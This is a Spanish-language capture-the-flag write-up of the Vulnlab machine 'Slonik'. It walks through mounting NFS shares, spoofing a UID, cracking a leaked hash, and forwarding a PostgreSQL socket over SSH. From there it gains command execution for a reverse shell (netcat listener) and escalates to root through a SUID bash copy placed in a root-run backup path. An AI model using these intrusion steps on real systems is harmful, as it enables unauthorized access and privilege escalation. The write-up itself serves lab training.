Slonik – Writeup (Vulnlab)
NMAP
Comenzamos el reconocimiento de servicios y puertos a través de NMAP
1 |
|
Puerto 2049
El puerto 2049 sabemos que es utilizado por el servicio de Network File System (NFS).
NFS es un protocolo de sistema de archivos distribuido que permite a los usuarios acceder y compartir archivos entre sistemas en una red..
Se puede usar el comando showmount para obtener info de la lista de recursos:
1 | showmount -e 10.10.127.69 |
Observo 2 carpetas compartidas. /var/backups y /home, lo que procedo a montarlas:
1 | sudo mount -t nfs 10.10.121.184: . -o nolock |
Una vez montadas trato de enumerar y noto que para acceder a /home/service/ no tengo los permisos suficientes, veo que puede hacerlo el usuario 1337, ya que es el owner, por ende procedo a crearlo localmente y le asigno el mismo UID.
1 | sudo useradd -u 1337 1337 --badname |
Una vez soy 1337 voy a poder acceder a la carpeta service.
Hay algunos archivos interesantes para analizar y que dan algunas pistas por donde encarar la situación. El archivo .bash_history luce del siguiente modo:
El archivo .psql_history:
Se resalta el user service y un hash aaabf0d39951f3e6c3e8a7911df524c2
Las cuales si lo verificamos en crackstation podemos ver que el hash pertenece a la contraseña “service“.
Al intentar loguear via SSH con las credenciales validas el sistema automáticamente nos cierra la conexión.
Luego de un rato de seguir enumerando, chequeo la info que me dan del user al principio de la maquina:
Y luego de un poco de Googling, recuerdo que el .bash_history nos mostraba la linea siguiente:
file /var/run/postgresql/.s.PGSQL.5432
Ese path en especifico es un archivo de socket Unix que se utiliza para la comunicacion entre procesos del sistema. En este caso especifico para la comunicacion entre aplicaciones y el servidor de la base de datos PostgreSQL.
Teniendo esto mas claro, procedo a crear un PortForwarding con SSH pasandole las credenciales que tenemos y seteando correctamente el socket remoto para conectarnos con el cliente postgress.
1 | ssh -N -L /tmp/.s.PGSQL.5433:/var/run/postgresql/.s.PGSQL.5432 [email protected] |
Y luego conectamos con Postgress:
1 | psql -h /tmp -U postgres -p 5433 |
Postgress
Con \list puedo listar todas las base de datos:
Luego de verificar las base de datos, veo que lo único que obtengo son el hash del user service que ya tenemos, entonces me pongo a investigar si es posible que creemos una revshell como postgres user.
Verifico que tengo Command Execution y realizo lo siguiente para obtener una revshell:
Content Revshell file: “s”
1 |
|
Desde postgres cli:
1 | DROP TABLE IF EXISTS cmd_exec; |
Finalmente obtengo revshell:
1 | sudo rlwrap nc -lnvvp 443 |
Una vez tengo revshell y luego de enumerar un poco, me creo una conexión mas estable con SSH y mantengo persistencia.
PSPY
Procedo a subir el PSPY a /tmp y luego lo ejecuto.
Veo que ejecuta un archivo en /usr/bin/backup y lo hace como ROOT.
Verificando el código observo lo siguiente:
ROOT
File: /usr/bin/backup
1 |
|
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/
Lo interesante de este script es que todo lo que creemos dentro de este path /var/lib/postgresql/14/main se hará backup en /opt/backups/current/ y sera realizado por ROOT
Creando bash suid para PrivEsc
1 | cp /bin/bash pwn |
Si ahora voy a /opt/backups/current vemos que lo backupea como ROOT:
Ahora solo resta rootear.
1 | ./pwn -p |